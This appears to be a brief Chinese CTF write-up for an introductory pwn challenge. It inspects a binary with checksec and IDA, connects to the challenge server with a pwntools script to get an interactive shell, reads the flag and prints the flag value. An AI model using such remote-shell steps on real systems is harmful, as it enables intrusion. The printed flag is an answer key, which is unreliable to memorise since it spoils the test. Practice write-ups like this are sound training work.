1、下载文件并开启靶机
2、在Linux查看文件信息
checksec test
3、文件是64位的我们用64位IDA打开该文件
3.1、按shift+F12查看关键代码
3.2、双击关键代码“/bin/sh”,进入反编译代码区
4、编写代码,从把机端口进入
from pwn import * #导入pwntools中pwn包的所有内容
p = remote("node4.buuoj.cn",27965) # 链接服务器远程交互
p.interactive() #反弹shell进行交互
5、用Python3执行代码
6、查看Flag
cat flag
7、flag为
flag{30ea96b9-acb3-4e9f-bd65-995a8d6ee53d}